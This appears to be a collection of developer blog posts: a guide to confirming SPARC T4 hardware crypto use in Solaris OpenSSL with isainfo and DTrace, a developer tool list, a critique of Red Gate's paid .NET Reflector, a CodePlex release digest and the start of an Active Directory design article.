  A question that often comes up when running applications on SPARC T4 systems is "How can I tell if hardware crypto accleration is being used?" To review, the SPARC T4 processor includes a crypto unit that supports several crypto instructions. For hardware crypto these include 11 AES instructions, 4 xmul* instructions (for AES GCM carryless multiply), mont for Montgomery multiply (optimizes RSA and DSA), and 5 des_* instructions (for DES3). For hardware hash algorithm optimization, the T4 has the md5, sha1, sha256, and sha512 instructions (the last two are used for SHA-224 an SHA-384). First off, it's easy to tell if the processor T4 crypto instructions—use the isainfo -v command and look for "sparcv9" and "aes" (and other hash and crypto algorithms) in the output: $ isainfo -v 64-bit sparcv9 applications crc32c cbcond pause mont mpmul sha512 sha256 sha1 md5 camellia kasumi des aes ima hpc vis3 fmaf asi_blk_init vis2 vis popc These instructions are not-privileged, so are available for direct use in user-level applications and libraries (such as OpenSSL). Here is the "openssl speed -evp" command shown with the built-in t4 engine and with the pkcs11 engine. Both run the T4 AES instructions, but the t4 engine is faster than the pkcs11 engine because it has less overhead (especially for smaller packet sizes): t-4 $ /usr/bin/openssl version OpenSSL 1.0.0j 10 May 2012 t-4 $ /usr/bin/openssl engine (t4) SPARC T4 engine support (dynamic) Dynamic engine loading support (pkcs11) PKCS #11 engine support t-4 $ /usr/bin/openssl speed -evp aes-128-cbc # t4 engine used by default . . . The 'numbers' are in 1000s of bytes per second processed. type 16 bytes 64 bytes 256 bytes 1024 bytes 8192 bytes aes-128-cbc 487777.10k 816822.21k 986012.59k 1017029.97k 1053543.08k t-4 $ /usr/bin/openssl speed -engine pkcs11 -evp aes-128-cbc engine "pkcs11" set. . . . The 'numbers' are in 1000s of bytes per second processed. type 16 bytes 64 bytes 256 bytes 1024 bytes 8192 bytes aes-128-cbc 31703.58k 116636.39k 350672.81k 696170.50k 993599.49k Note: The "-evp" flag indicates use the OpenSSL "EnVeloPe" API, which gives more accurate results. That's because it tells OpenSSL to use the same API that external programs use when calling OpenSSL libcrypto functions, evp(3openssl). DTrace Shows if T4 Crypto Functions Are Used OK, good enough, the isainfo(1) command shows the instructions are present, but how does one know if they are being used? Chi-Chang Lin, who works on Oracle Solaris performance, wrote a Dtrace script to show if T4 instructions are being executed. To show the T4 instructions are being used, run the following Dtrace script. Look for functions named "t4" and "yf" in the output. The OpenSSL T4 engine uses functions named "t4" and the PKCS#11 engine uses functions named "yf". To demonstrate, I'll first run "openssl speed" with the built-in t4 engine then with the pkcs11 engine. The performance numbers are not valid due to dtrace probes slowing things down. t-4 # dtrace -Z -n ' pid$target::*yf*:entry,pid$target::*t4_*:entry{ @[probemod, probefunc] = count();}' \ -c "/usr/bin/openssl speed -evp aes-128-cbc" dtrace: description 'pid$target::*yf*:entry' matched 101 probes . . . dtrace: pid 2029 has exited libcrypto.so.1.0.0 ENGINE_load_t4 1 libcrypto.so.1.0.0 t4_DH 1 libcrypto.so.1.0.0 t4_DSA 1 libcrypto.so.1.0.0 t4_RSA 1 libcrypto.so.1.0.0 t4_destroy 1 libcrypto.so.1.0.0 t4_free_aes_ctr_NIDs 1 libcrypto.so.1.0.0 t4_init 1 libcrypto.so.1.0.0 t4_add_NID 3 libcrypto.so.1.0.0 t4_aes_expand128 5 libcrypto.so.1.0.0 t4_cipher_init_aes 5 libcrypto.so.1.0.0 t4_get_all_ciphers 6 libcrypto.so.1.0.0 t4_get_all_digests 59 libcrypto.so.1.0.0 t4_digest_final_sha1 65 libcrypto.so.1.0.0 t4_digest_init_sha1 65 libcrypto.so.1.0.0 t4_sha1_multiblock 126 libcrypto.so.1.0.0 t4_digest_update_sha1 261 libcrypto.so.1.0.0 t4_aes128_cbc_encrypt 1432979 libcrypto.so.1.0.0 t4_aes128_load_keys_for_encrypt 1432979 libcrypto.so.1.0.0 t4_cipher_do_aes_128_cbc 1432979 t-4 # dtrace -Z -n 'pid$target::*yf*:entry{ @[probemod, probefunc] = count();}   pid$target::*yf*:entry,pid$target::*t4_*:entry{ @[probemod, probefunc] = count();}' \ -c "/usr/bin/openssl speed -engine pkcs11 -evp aes-128-cbc" dtrace: description 'pid$target::*yf*:entry' matched 101 probes engine "pkcs11" set. . . . dtrace: pid 2033 has exited libcrypto.so.1.0.0 ENGINE_load_t4 1 libcrypto.so.1.0.0 t4_DH 1 libcrypto.so.1.0.0 t4_DSA 1 libcrypto.so.1.0.0 t4_RSA 1 libcrypto.so.1.0.0 t4_destroy 1 libcrypto.so.1.0.0 t4_free_aes_ctr_NIDs 1 libcrypto.so.1.0.0 t4_get_all_ciphers 1 libcrypto.so.1.0.0 t4_get_all_digests 1 libsoftcrypto.so.1 rijndael_key_setup_enc_yf 1 libsoftcrypto.so.1 yf_aes_expand128 1 libcrypto.so.1.0.0 t4_add_NID 3 libsoftcrypto.so.1 yf_aes128_cbc_encrypt 1542330 libsoftcrypto.so.1 yf_aes128_load_keys_for_encrypt 1542330 So, as shown above the OpenSSL built-in t4 engine executes t4_* functions (which are hand-coded assembly executing the T4 AES instructions) and the OpenSSL pkcs11 engine executes *yf* functions. Programmatic Use of OpenSSL T4 engine The OpenSSL t4 engine is used automatically with the /usr/bin/openssl command line. Chi-Chang Lin also points out that if you're calling the OpenSSL API (libcrypto.so) from a program, you must call ENGINE_load_built_engines(), otherwise the built-in t4 engine will not be loaded. You do not call ENGINE_set_default(). That's because "openssl speed -evp" test calls ENGINE_load_built_engines() even though the "-engine" option wasn't specified. OpenSSL T4 engine Availability The OpenSSL t4 engine is available with Solaris 11 and 11.1. For Solaris 10 08/11 (U10), you need to use the OpenSSL pkcs311 engine. The OpenSSL t4 engine is distributed only with the version of OpenSSL distributed with Solaris (and not third-party or self-compiled versions of OpenSSL). The OpenSSL engine implements the AES cipher for Solaris 11, released 11/2011. For Solaris 11.1, released 11/2012, the OpenSSL engine adds optimization for the MD5, SHA-1, and SHA-2 hash algorithms, and DES-3. Although the T4 processor has Camillia and Kasumi block cipher instructions, these are not implemented in the OpenSSL T4 engine. The following charts may help view availability of optimizations. The first chart shows what's available with Solaris CLIs and APIs, the second chart shows what's available in Solaris OpenSSL. Native Solaris Optimization for SPARC T4 This table is shows Solaris native CLI and API support. As such, they are all available with the OpenSSL pkcs11 engine. CLIs: "openssl -engine pkcs11", encrypt(1), decrypt(1), mac(1), digest(1), MD5sum(1), SHA1sum(1), SHA224sum(1), SHA256sum(1), SHA384sum(1), SHA512sum(1) APIs: PKCS#11 library libpkcs11(3LIB) (incluDES Openssl pkcs11 engine), libMD(3LIB), and Solaris kernel modules AlgorithmSolaris 1008/11 (U10)Solaris 11Solaris 11.1 AES-ECB, AES-CBC, AES-CTR, AES-CBC AES-CFB128 XXX DES3-ECB, DES3-CBC, DES2-ECB, DES2-CBC, DES-ECB, DES-CBC XXX bignum Montgomery multiply (RSA, DSA) XXX MD5, SHA-1, SHA-256, SHA-384, SHA-512 XXX SHA-224 X ARCFOUR (RC4) X Solaris OpenSSL T4 Engine Optimization This table is for the Solaris OpenSSL built-in t4 engine. Algorithms listed above are also available through the OpenSSL pkcs11 engine. CLI: openssl(1openssl) APIs: openssl(5), engine(3openssl), evp(3openssl), libcrypto crypto(3openssl) AlgorithmSolaris 11Solaris 11SRU2Solaris 11.1 AES-ECB, AES-CBC, AES-CTR, AES-CBC AES-CFB128 XXX DES3-ECB, DES3-CBC, DES-ECB, DES-CBC X bignum Montgomery multiply (RSA, DSA) X MD5, SHA-1, SHA-256, SHA-384, SHA-512 XX SHA-224 X Source Code Availability Solaris Most of the T4 assembly code that called the new T4 crypto instructions was written by Ferenc Rákóczi of the Solaris Security group, with assistance from others. You can download the Solaris source for this and other parts of Solaris as a few zip files at the Oracle Download website. The relevant source files are generally under directories usr/src/common/crypto/{aes,arcfour,des,md5,modes,sha1,sha2}}/sun4v/. and usr/src/common/bignum/sun4v/. Solaris 11 binary is available from the Oracle Solaris 11 download website. OpenSSL t4 engine The source for the OpenSSL t4 engine, which is based on the Solaris source above, is viewable through the OpenGrok source code browser in directory src/components/openssl/openssl-1.0.0/engines/t4 . You can download the source from the same website or through Mercurial source code management, hg(1). Conclusion Oracle Solaris with SPARC T4 provides a rich set of accelerated cryptographic and hash algorithms. Using the latest update, Solaris 11.1, provides the best set of optimized algorithms, but alternatives are often available, sometimes slightly slower, for releases back to Solaris 10 08/11 (U10). Reference See also these earlier blogs. SPARC T4 OpenSSL Engine by myself, Dan Anderson (2011), discusses the Openssl T4 engine and reviews the SPARC T4 processor for the Solaris 11 release. Exciting Crypto Advances with the T4 processor and Oracle Solaris 11 by Valerie Fenwick (2011) discusses crypto algorithms that were optimized for the T4 processor with the Solaris 11 FCS (11/11) and Solaris 10 08/11 (U10) release. T4 Crypto Cheat Sheet by Stefan Hinker (2012) discusses how to make T4 crypto optimization available to various consumers (such as SSH, Java, OpenSSL, Apache, etc.) High Performance Security For Oracle Database and Fusion Middleware Applications using SPARC T4 (PDF, 2012) discusses SPARC T4 and its usage to optimize application security. Configuring Oracle iPlanet WebServer / Oracle Traffic Director to use crypto accelerators on T4-1 servers by Meena Vyas (2012)

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• Tools of the Trade

  - by Ajarn Mark Caldwell

  I got pretty excited a couple of days ago when my new laptop arrived. “The new phone books are here!  The new phone books are here!  I’m a somebody!” - Steve Martin in The Jerk It is a Dell Precision M4500 with an Intel i7 Core 2.8 GHZ running 64-bit Windows 7 with a 15.6” widescreen, 8 GB RAM, 256 GB SSD.  For some of you high fliers, this may be nothing to write home about, but compared to the 32–bit Windows XP laptop with 2 GB of RAM and a regular hard disk that I’m coming from, it’s a really nice step forward.  I won’t even bore you with the details of the desktop PC I was first given when I started here 5 1/2 years ago.  Let’s just say that things have improved.  One really nice thing is that while we are definitely running a lean and mean department in terms of staffing, my boss believes in supporting that lean staff with good tools in order to stay lean instead of having to spend even more money on additional employees.  Of course, that only goes so far, and at some point you have to add more people in order to get more work done, which is why we are bringing on-board a new employee and a new contract developer next week.  But that’s a different story for a different time. But the main topic for this post is to highlight the variety of tools that I use in my job and that you might find useful, too.  This is easy to do right now because the process of building up my new laptop from scratch has forced me to assemble a list of software that had to be installed and configured.  Keep in mind as you look through this list that I play many roles in our company.  My official title is Software Engineering Manager, but in addition to managing the team, I am also an active ASP.NET and SQL developer, the Database Administrator, and 50% of the SAN Administrator team.  So, without further ado, here are the tools and some comments about why I use them: Tool Purpose Virtual Clone Drive Easily mount an ISO image as a DVD Drive.  This is particularly handy when you are downloading disk images from Microsoft for your tools. SQL Server 2008 R2 Developer Edition We are migrating all of our active systems to SQL 2008 R2.  Developer Edition has all the features of Enterprise Edition, but intended for development use. SQL Server 2005 Developer Edition (BIDS ONLY) The migration to SSRS 2008 R2 is just getting started, and in the meantime, maintenance work still has to be done on the reports on our SQL 2005 server.  For some reason, you can’t use BIDS from 2008 to write reports for a 2005 server.  There is some different format and when you open 2005 reports in 2008 BIDS, it forces you to upgrade, and they can no longer be uploaded to a 2005 server.  Hopefully Microsoft will fix this soon in some manner similar to Visual Studio now allows you to pick which version of the .NET Framework you are coding against. Visual Studio 2010 Premium All of our application development is in ASP.NET, and we might as well use the tool designed for it. I’ve used a version of Visual Studio going all the way back to VB 6.0 and Visual Interdev. Vault Professional Client Several years ago we replaced Visual Source Safe with SourceGear Vault (then Fortress, and now Vault Pro), and I love it.  It is very reliable with low overhead - perfect for a small to medium size development team.  And being a small ISV, their support is exceptional. Red-Gate Developer Bundle with the SQL Source Control update for Vault I first used, and fell in love with, SQL Prompt shortly before Red-Gate bought it, and then Red-Gate’s first release made me love it even more.  SQL Refactor (which has since been rolled into the latest version of SQL Prompt) has saved me many hours and migraine’s trying to understand somebody else’s code when their indenting was nonexistant, or worse, irrational.  SQL Compare has been awesome for troubleshooting potential schema issues between different instances of system databases.  SQL Data Compare helped us identify the cause behind a bug which appeared in PROD but could not be reproduced in a nearly (but not quite exactly) identical copy in UAT.  And the newest tool we are embracing: SQL Source Control.  I blogged about it here (and here, and here) last December.  This is really going to help us keep each developer’s copy of the database in sync with one another. Fiddler Helps you watch the whole traffic stream on web visits.  Haven’t used it a lot, but it did help me track down some odd 404 errors we were finding in our own application logs.  Has some other JavaScript troubleshooting capabilities, but some of its usefulness has been supplanted by the Developer Tools option in IE8. Funduc Search & Replace Find any string anywhere in a mound of source code really, really fast.  Does RegEx searches, if you understand that foreign language.  Has really helped with some refactoring work to pinpoint, for example, everywhere a particular stored procedure is referenced, whether in .NET code or other SQL procedures (which we have in script files).  Provides in-context preview of the search results.  Fantastic tool, and a bargain price. SciTE SciTE is a Scintilla based Text Editor and it is a fantastic, light-weight tool for quickly reviewing (or writing) program code, SQL scripts, and extract files.  It has language-specific syntax highlighting.  I used it to write several batch and CMD programs a year ago, and to examine data extract files for exchanging information with other systems.  Extremely handy are the options to View End of Line and View Whitespace.  Ever receive a file that is supposed to use CRLF as an end-of-line marker, but really only has CRs?  SciTE will quickly make that visible. Infragistics Controls We do a lot of ASP.NET development, and frequently use the WebGrid, WebTab, and date picker controls.  We will likely be implementing the Hierarchical Data Grid soon.  Infragistics has control suites for WebForms, WinForms, Silverlight, and coming soon MVC/JQuery. WinZip - WITH Command-Line add-in The classic compression program with a great command-line interface that allows me to build those CMD (and soon PowerShell) programs for automated compression jobs.  Our versioned Build packages are zip files. XML Notepad Haven’t used this a lot myself, but one of my team really likes it for examining large XML files. LINQPad Again, haven’t used this one a lot, but it was recommended to me for learning and practicing my LINQ skills which will come in handy as we implement Entity Framework. SQL Sentry Plan Explorer SQL Server Show Plan on steroids.  Great for helping you focus on the parts of a large query that are of most importance.  Also great for just compressing the graphical plan into more readable layout. Araxis Merge A great DIFF and Merge tool.  SourceGear provides a great tool called DiffMerge that we use all the time, but occasionally, I like the cross-edit capabilities of Araxis Merge.  For a while, we also produced DIFF reports in HTML that showed all the changes that occurred between two releases.  This was most important when we were putting out very small, but very important hot fixes on a very politically hot system.  The reports produced by Araxis Merge gave the Director of IS assurance that we were not accidentally introducing ripples throughout the system with our releases. Idera SQL Admin Toolset A great collection of tools including a password checker to help analyze your SQL Server for weak user passwords, a Backup Status tool to quickly scan a large list of servers and databases to identify any that are overdue for backups.  Particularly helpful for highlighting new databases that have been deployed without getting included in your backup processing.  I also like Space Analyzer to keep an eye on disk space consumed by database files. Idera SQL Job Manager This free tool provides a nice calendar view of SQL Server Job Schedules, but to a degree, you also get what you pay for.  We will be purchasing SQL Sentry Event Manager later this year as an even better job schedule reviewer/manager.  But in the meantime, this at least gives me a good view on potential resource conflicts across multiple instances of SQL Server. DBFViewer 2000 I inherited a couple of FoxPro databases that I have to keep an eye on occasionally and have not yet been able to migrate them to SQL Server. Balsamiq Mockups We are still in evaluation-mode on this tool, but I really like it as a quick UI mockup tool that does not require Visual Studio, so someone other than a programmer can do UI design.  The interface looks hand-drawn which definitely has some psychological benefits when communicating to users, too. FeedDemon I have to stay on top of my WAY TOO MANY blog subscriptions somehow.  I may read blogs on a couple of different computers, and FeedDemon’s integration with Google Reader allows me to keep them all in sync.  I don’t particularly like the Google Reader interface, or the fact that it always wanted to mark articles as read just because I scrolled past them.  FeedDemon solves this problem for me, and provides a multi-tabbed interface which is good because fairly frequently one blog will link to something else I want to read, and I can end up with a half-dozen open tabs all from one article. Synergy+ In my office, I run four monitors across two computers all with one mouse and keyboard.  Synergy is the magic software that makes this work. TweetDeck I’m not the most active Tweeter in the world, but when I want to check-in with the Twitterverse, this really helps.  I have found the #sqlhelp and #PoshHelp hash tags particularly useful, and I also have columns setup to make it easy to monitor #sqlpass, #PASSProfDev, and short term events like #sqlsat68.   Whew!  That’s a lot.  No wonder it took me a couple of days to get everything setup the way I wanted it.  Oh, that and actually getting some work accomplished at the same time.  Anyway, I know that is a huge dump of info, and most people never make it here to the end, so for those who did, let me say, CONGRATULATIONS, you made it! I hope you’ll find a new tool or two to make your work life a little easier.

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• The Red Gate and .NET Reflector Debacle

  - by Rick Strahl

  About a month ago Red Gate – the company who owns the NET Reflector tool most .NET devs use at one point or another – decided to change their business model for Reflector and take the product from free to a fully paid for license model. As a bit of history: .NET Reflector was originally created by Lutz Roeder as a free community tool to inspect .NET assemblies. Using Reflector you can examine the types in an assembly, drill into type signatures and quickly disassemble code to see how a particular method works.  In case you’ve been living under a rock and you’ve never looked at Reflector, here’s what it looks like drilled into an assembly from disk with some disassembled source code showing: Note that you get tons of information about each element in the tree, and almost all related types and members are clickable both in the list and source view so it’s extremely easy to navigate and follow the code flow even in this static assembly only view. For many year’s Lutz kept the the tool up to date and added more features gradually improving an already amazing tool and making it better. Then about two and a half years ago Red Gate bought the tool from Lutz. A lot of ruckus and noise ensued in the community back then about what would happen with the tool and… for the most part very little did. Other than the incessant update notices with prominent Red Gate promo on them life with Reflector went on. The product didn’t die and and it didn’t go commercial or to a charge model. When .NET 4.0 came out it still continued to work mostly because the .NET feature set doesn’t drastically change how types behave.  Then a month back Red Gate started making noise about a new Version Version 7 which would be commercial. No more free version - and a shit storm broke out in the community. Now normally I’m not one to be critical of companies trying to make money from a product, much less for a product that’s as incredibly useful as Reflector. There isn’t day in .NET development that goes by for me where I don’t fire up Reflector. Whether it’s for examining the innards of the .NET Framework, checking out third party code, or verifying some of my own code and resources. Even more so recently I’ve been doing a lot of Interop work with a non-.NET application that needs to access .NET components and Reflector has been immensely valuable to me (and my clients) if figuring out exact type signatures required to calling .NET components in assemblies. In short Reflector is an invaluable tool to me. Ok, so what’s the problem? Why all the fuss? Certainly the $39 Red Gate is trying to charge isn’t going to kill any developer. If there’s any tool in .NET that’s worth $39 it’s Reflector, right? Right, but that’s not the problem here. The problem is how Red Gate went about moving the product to commercial which borders on the downright bizarre. It’s almost as if somebody in management wrote a slogan: “How can we piss off the .NET community in the most painful way we can?” And that it seems Red Gate has a utterly succeeded. People are rabid, and for once I think that this outrage isn’t exactly misplaced. Take a look at the message thread that Red Gate dedicated from a link off the download page. Not only is Version 7 going to be a paid commercial tool, but the older versions of Reflector won’t be available any longer. Not only that but older versions that are already in use also will continually try to update themselves to the new paid version – which when installed will then expire unless registered properly. There have also been reports of Version 6 installs shutting themselves down and failing to work if the update is refused (I haven’t seen that myself so not sure if that’s true). In other words Red Gate is trying to make damn sure they’re getting your money if you attempt to use Reflector. There’s a lot of temptation there. Think about the millions of .NET developers out there and all of them possibly upgrading – that’s a nice chunk of change that Red Gate’s sitting on. Even with all the community backlash these guys are probably making some bank right now just because people need to get life to move on. Red Gate also put up a Feedback link on the download page – which not surprisingly is chock full with hate mail condemning the move. Oddly there’s not a single response to any of those messages by the Red Gate folks except when it concerns license questions for the full version. It puzzles me what that link serves for other yet than another complete example of failure to understand how to handle customer relations. There’s no doubt that that all of this has caused some serious outrage in the community. The sad part though is that this could have been handled so much less arrogantly and without pissing off the entire community and causing so much ill-will. People are pissed off and I have no doubt that this negative publicity will show up in the sales numbers for their other products. I certainly hope so. Stupidity ought to be painful! Why do Companies do boneheaded stuff like this? Red Gate’s original decision to buy Reflector was hotly debated but at that the time most of what would happen was mostly speculation. But I thought it was a smart move for any company that is in need of spreading its marketing message and corporate image as a vendor in the .NET space. Where else do you get to flash your corporate logo to hordes of .NET developers on a regular basis?  Exploiting that marketing with some goodwill of providing a free tool breeds positive feedback that hopefully has a good effect on the company’s visibility and the products it sells. Instead Red Gate seems to have taken exactly the opposite tack of corporate bullying to try to make a quick buck – and in the process ruined any community goodwill that might have come from providing a service community for free while still getting valuable marketing. What’s so puzzling about this boneheaded escapade is that the company doesn’t need to resort to underhanded tactics like what they are trying with Reflector 7. The tools the company makes are very good. I personally use SQL Compare, Sql Data Compare and ANTS Profiler on a regular basis and all of these tools are essential in my toolbox. They certainly work much better than the tools that are in the box with Visual Studio. Chances are that if Reflector 7 added useful features I would have been more than happy to shell out my $39 to upgrade when the time is right. It’s Expensive to give away stuff for Free At the same time, this episode shows some of the big problems that come with ‘free’ tools. A lot of organizations are realizing that giving stuff away for free is actually quite expensive and the pay back is often very intangible if any at all. Those that rely on donations or other voluntary compensation find that they amount contributed is absolutely miniscule as to not matter at all. Yet at the same time I bet most of those clamouring the loudest on that Red Gate Reflector feedback page that Reflector won’t be free anymore probably have NEVER made a donation to any open source project or free tool ever. The expectation of Free these days is just too great – which is a shame I think. There’s a lot to be said for paid software and having somebody to hold to responsible to because you gave them some money. There’s an incentive –> payback –> responsibility model that seems to be missing from free software (not all of it, but a lot of it). While there certainly are plenty of bad apples in paid software as well, money tends to be a good motivator for people to continue working and improving products. Reasons for giving away stuff are many but often it’s a naïve desire to share things when things are simple. At first it might be no problem to volunteer time and effort but as products mature the fun goes out of it, and as the reality of product maintenance kicks in developers want to get something back for the time and effort they’re putting in doing non-glamorous work. It’s then when products die or languish and this is painful for all to watch. For Red Gate however, I think there was always a pretty good payback from the Reflector acquisition in terms of marketing: Visibility and possible positioning of their products although they seemed to have mostly ignored that option. On the other hand they started this off pretty badly even 2 and a half years back when they aquired Reflector from Lutz with the same arrogant attitude that is evident in the latest episode. You really gotta wonder what folks are thinking in management – the sad part is from advance emails that were circulating, they were fully aware of the shit storm they were inciting with this and I suspect they are banking on the sheer numbers of .NET developers to still make them a tidy chunk of change from upgrades… Alternatives are coming For me personally the single license isn’t a problem, but I actually have a tool that I sell (an interop Web Service proxy generation tool) to customers and one of the things I recommend to use with has been Reflector to view assembly information and to find which Interop classes to instantiate from the non-.NET environment. It’s been nice to use Reflector for this with its small footprint and zero-configuration installation. But now with V7 becoming a paid tool that option is not going to be available anymore. Luckily it looks like the .NET community is jumping to it and trying to fill the void. Amidst the Red Gate outrage a new library called ILSpy has sprung up and providing at least some of the core functionality of Reflector with an open source library. It looks promising going forward and I suspect there will be a lot more support and interest to support this project now that Reflector has gone over to the ‘dark side’…© Rick Strahl, West Wind Technologies, 2005-2011

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• CodePlex Daily Summary for Tuesday, September 04, 2012

  CodePlex Daily Summary for Tuesday, September 04, 2012Popular ReleasesPE file reader: READPE-e9ff717a638d.zip: Introduced some new code which parses the IMAGENTHEADERS. At the moment the command line options dosheader and imagentheaders are working and and example of their usage can be... D:\>readpe pe-files\main.exe dosheader imagentheadersMicrosoft Ajax Minifier: Microsoft Ajax Minifier 4.64: Another attempt to fix the fiasco that was my bad decision to rename the DLLs to get away from a strong-name collision that was causing lots of problems for me. Too many existing projects expected AjaxMin.dll, and lots of things broke downstream from me. This release keeps the .net 2.0 version named AjaxMin.dll. The new .net 3.5 and .net 4.0 versions are named AjaxMinLibrary.dll. If an existing project is expecting the old name, they should continue to pick up the .net 2.0 version (since the ...Nearforums - ASP.NET MVC forum engine: Nearforums v8.5: Version 8.5 of Nearforums, the ASP.NET MVC Forum Engine. New features include: Built-in search engine using Lucene.NET Flood control improvements Notifications improvements: sync option and mail body View Roadmap for more details webdeploy package sha1 checksum: 961aff884a9187b6e8a86d68913cdd31f8deaf83NWebsec: NWebsec 1.0.3: This release fixes two bugs in the NWebsec.Mvc package. Go get it on NuGet! http://nuget.org/packages/NWebsec.Mvc/ These work items made it into the release: 9 10 Check out the Documentation to learn how it works. This release has been tagged v1.0.3 in source control. Enjoy!RBAC Manager R2 for Exchange 2010 SP2, Exchange 2013 Preview and Office 365: RBAC Manager R2 1.5.5.0: now supports to manage RBAC on Office 365 'remember password' feature now saves the password as encrypted as opposed to plain-text format in version 1.5.0.0 DPAPI is used to encrypt the saved password; for more information about DPAPI please check: Managed DPAPI Part I: ProtectedData http://blogs.msdn.com/b/shawnfa/archive/2004/05/05/126825.aspx The tool requires HTTP/HTTPS network connection to the Exchange server Known Bugs: Active Directory lookup is not working remotely and crashes the ...WiX Toolset: WiX Toolset v3.6: WiX Toolset v3.6 introduces the Burn bootstrapper/chaining engine and support for Visual Studio 2012 and .NET Framework 4.5. Other minor functionality includes: WixDependencyExtension supports dependency checking among MSI packages. WixFirewallExtension supports more features of Windows Firewall. WixTagExtension supports Software Id Tagging. WixUtilExtension now supports recursive directory deletion. Melt simplifies pure-WiX patching by extracting .msi package content and updating .w...Iveely Search Engine: Iveely Search Engine （0.2.0）: ????ISE?0.1.0??，?????，ISE?0.2.0?????????，???????，????????20???follow?ISE，????，??ISE??????????，??????????，?????????，?????????0.2.0??????，??????????。 Iveely Search Engine ?0.2.0?????????“??????????”，??????，?????????，???????，???????????????????，????、????????????。???0.1.0????????????： 1. ??“????” ??。??????????，?????????，???????????????????。??：????????，????????????，??????????????????。??????。 2. ??“????”??。?0.1.0??????，???????，???????????????，?????????????，????????，?0.2.0?，???????...GmailDefaultMaker: GmailDefaultMaker 3.0.0.2: Add QQ Mail BugfixSmart Data Access layer: Smart Data access Layer Ver 3: In this version support executing inline query is added. Check Documentation section for detail.Dynamics AX Build Scripts: AX TFS Build Library Beta - v0.2.0.0: Beta release of TFS 2010 workflow code activities for AX 2009 and AX 2012. Build template for AX 2012 included. There is one refactor of code that will break your existing workflows. The AOS workflow step to stop/start AOS now expects the actual windows service name, not the port number of the AOS. There now is a new step to retrieve server settings, which can get the service identifier based on the port number. The registry has to be read to retrieve these settings, and we didn't want to ke...Cosmo OS: Cosmo OS Lama Preview: Info Sulla Release Lama Preview ( Prima Preview Pubblica ) Data Di Rilascio: 2 / 09 / 12 Build: 1950 Ramo Di Sviluppo: cosmo_os.preview.lama.bid1535543 Tipo Release: Stable / PreviewNETDeob0: NETDeob 0.3.1 BETA binaries: 0.3.1Custom Captcha Plugin for Kooboo CMS for adding content or sending feedback: Custom Captcha Validator Plugin v1.1 for Kooboo: Download file CustomCaptchaValidatorPlugin.dll and install it to KooBoo CMS. Release 1.1: Fixed error: "A generic error occurred in GDI+" (if hosting is less than Windows Server 2008 or Windows 7) - http://forum.kooboo.com/yafpostsm6602Custom-captcha---any-best-practice.aspx#post6602TSQL Code Smells Finder: POC 1.01: Proof of concept 1.01 TSQLDomTest.ps1 and Errors.Txt are requiredSaturn Kinect: Saturn Kinect + Sample Applications - Release 3: This release includes : - Saturn Kinect Library - Kinect Motion Capture Application - Controlling mouse cursor sample - Hand swip detection sample + Source CodesDiscuzViet: DiscuzX2.5_02092012_Vietnam: DiscuzX2.502092012VietnamBookmark Collector: 01.00.00: This is the first release with a minimal feature set. You can save, edit, delete, and display a list of URLs from various sites.EntLib.com????????: EntLib.com???????? v3.0: EntLib eCommerce Solution ???Microsoft .Net Framework?????????????????????。Coevery - Free CRM: Coevery 1.0.0.24: Add a sample database, and installation instructions.Math.NET Numerics: Math.NET Numerics v2.2.1: Major linear algebra rework since v2.1, now available on Codeplex as well (previous versions were only available via NuGet). Since v2.2.0: Student-T density more robust for very large degrees of freedom Sparse Kronecker product much more efficient (now leverages sparsity) Direct access to raw matrix storage implementations for advanced extensibility Now also separate package for signed core library with a strong name (we dropped strong names in v2.2.0) Also available as NuGet packages...New ProjectsAction Bar: Action Bar is a SNS network based on activities.async/await C# Samples: Project demonstrating new C# feature - async and await. You can find here several solutions to make UI calls asynchronous: APM, EAP and async.Attribute Based Xaml Generator: Dynamic Xaml UI Generator and Editor Just point it to a dll or an exe and then navigate through your namespaces to your classB INI Sharp Library: Full support for INI files.brevis nopCommerce Extensions: Extensions for nopCommerce open soruce e-commerce solution (several Versions). !Contents nop 1.90 fpr testing the new Lib! This will be removed after 1. releaseConEmu - Windows console with tabs: ConEmu (short for Console Emulator) is a console window and tabbed environment for Windows. Tabs, Fonts, Quake style, Transparency and hundreds of other optionsContrib.Mod.AccountWidgets: Orchard module for adding login and registration widgetsCSharp GUI for Mono: This is an application which makes use of "Mono" to execute CSharp programs. It provides a graphical user interface to run the CSharp program. DocCollection: ???????????????http://www.qlili.comfanpages: Fanatics!ISIS Associations Manager: Application Web permettant la gestion d'Associations. (Membres, Emailing, Calendier)LogMan: ????????????b/s??，??python?? require: web.pyLucifure Stash - Azure Table Storage Client: Lucifure Stash is an alternate Azure table storage client, which supports arrays, enumerations, large data > 64KB, serialization, morphing and more.Mod.EverlastingLogin: Orchard module to allow a user to stay logged in for a certain amount of time using cookiesPHP Extra Functions: PHP Extra Functions is a suite of functions that extend common libraries with easy to use functions. For example, functions are added to MySQLi to simplify use.Raise events controlled: This is an example of raising you events controlled (with exception handling)sb0t v.5: sb0t 5 development page.SharePoint Mobile OA Platform: Via mobile device, by using the SharePoint Mobile Support, Web Service, Client OM, WCF Data Service bring about mobile office.Simple Guestbook: I just want to share simple code, may be will be helpful for newbies.SimplyWeather2.gadget: A neat little weather gadget for your Windows Desktop.Tanks: Required summary is hereUtility Project: Utilities ProjectWindows Phone: The goal of this project is to improve my skills in Windows Phonewords: ?????????Wpf Testing Lib: This is a project for auto testing wpf appswtstudy: wtstudy

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• ADDS: 1 - Introducing and designing

  - by marc dekeyser

  Normal 0 false false false EN-GB X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-parent:""; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin-top:0cm; mso-para-margin-right:0cm; mso-para-margin-bottom:10.0pt; mso-para-margin-left:0cm; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} What is ADDS?  Every Microsoft oriented infrastructure in today's enterprises will depend largely on the active directory version built by Microsoft. It is the foundation stone on which all other products (Exchange, update services, office communicator, the system center family, etc) rely on to get their information. And that is just looking at it from an infrastructure perspective. A well designed and implemented Active Directory implementation makes life for IT personnel and user alike a lot easier. Centralised management and the abilities opened up  by having it in place are ample.  But what is Active Directory Domain Services? We can look at ADDS as a centralised directory containing all objects your infrastructure runs on in one way or another. Since it is a Microsoft product you'll obviously not be seeing linux or mac clients listed in here (exceptions exist) but in general we can say it contains everything your company 